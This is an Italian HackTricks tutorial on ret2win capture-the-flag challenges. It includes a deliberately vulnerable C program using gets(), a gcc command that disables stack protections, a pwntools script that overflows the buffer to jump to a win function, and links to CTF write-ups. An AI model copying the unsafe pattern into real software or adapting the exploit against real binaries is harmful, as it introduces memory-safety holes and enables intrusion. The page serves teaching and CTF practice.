7.7 KiB
Ret2win
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Informazioni di Base
Le sfide Ret2win sono una categoria popolare nelle competizioni di Capture The Flag (CTF), in particolare nei compiti che coinvolgono exploit binari. L'obiettivo è sfruttare una vulnerabilità in un binario dato per eseguire una funzione specifica e non invocata all'interno del binario, spesso chiamata win
, flag
, ecc. Questa funzione, quando eseguita, di solito stampa una bandiera o un messaggio di successo. La sfida di solito prevede sovrascrivere l'indirizzo di ritorno nello stack per deviare il flusso di esecuzione alla funzione desiderata. Ecco una spiegazione più dettagliata con esempi:
Esempio in C
Considera un semplice programma in C con una vulnerabilità e una funzione win
che intendiamo chiamare:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Per compilare questo programma senza protezioni dello stack e con ASLR disabilitato, puoi utilizzare il seguente comando:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Compila il programma come un binario a 32 bit (questo è opzionale ma comune nelle sfide CTF).-fno-stack-protector
: Disabilita le protezioni contro gli stack overflow.-z execstack
: Permette l'esecuzione di codice nello stack.-no-pie
: Disabilita l'Esecuzione Indipendente dalla Posizione per garantire che l'indirizzo della funzionewin
non cambi.-o vulnerable
: Nomina il file di outputvulnerable
.
Python Exploit usando Pwntools
Per l'exploit, useremo pwntools, un potente framework CTF per scrivere exploit. Lo script di exploit creerà un payload per sovraccaricare il buffer e sovrascrivere l'indirizzo di ritorno con l'indirizzo della funzione win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Per trovare l'indirizzo della funzione win
, puoi utilizzare gdb, objdump, o qualsiasi altro strumento che ti permetta di ispezionare file binari. Ad esempio, con objdump
, potresti utilizzare:
objdump -d vulnerable | grep win
Questo comando mostrerà l'assembly della funzione win
, inclusivo del suo indirizzo di inizio.
Lo script Python invia un messaggio attentamente elaborato che, quando elaborato dalla vulnerable_function
, sovrascrive il buffer e sovrascrive l'indirizzo di ritorno nello stack con l'indirizzo di win
. Quando vulnerable_function
ritorna, invece di tornare a main
o uscire, salta a win
, e il messaggio viene stampato.
Protezioni
- PIE dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa l'overflow è
read
o simile, puoi fare un Sovrascrittura Parziale di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona l'ASLR, gli ultimi tre nibble esadecimali non sono randomizzati, quindi c'è una possibilità su 16 (1 nibble) di ottenere l'indirizzo di ritorno corretto. - Stack Canaries dovrebbero essere anche disabilitati o l'indirizzo di ritorno EIP compromesso non verrà mai seguito.
Altri esempi e Riferimenti
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32 bit, senza ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bit con ASLR, con un leak dell'indirizzo binario
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bit, senza ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bit, senza ASLR, doppio piccolo overflow, prima per sovrascrivere lo stack e ingrandire la dimensione del secondo overflow
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, senza canary, nx, senza pie, stringa di formato per sovrascrivere l'indirizzo
fflush
con la funzione win (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bit, nx, nient'altro, sovrascrittura parziale di EIP (1Byte) per chiamare la funzione win
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bit, nx, nient'altro, sovrascrittura parziale di EIP (1Byte) per chiamare la funzione win
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Il programma sta solo convalidando l'ultimo byte di un numero per controllare la dimensione dell'input, quindi è possibile aggiungere qualsiasi dimensione purché l'ultimo byte sia all'interno dell'intervallo consentito. Quindi, l'input crea un buffer overflow sfruttato con un ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bit, relro, senza canary, nx, pie. Sovrascrittura parziale per chiamare la funzione win (ret2win)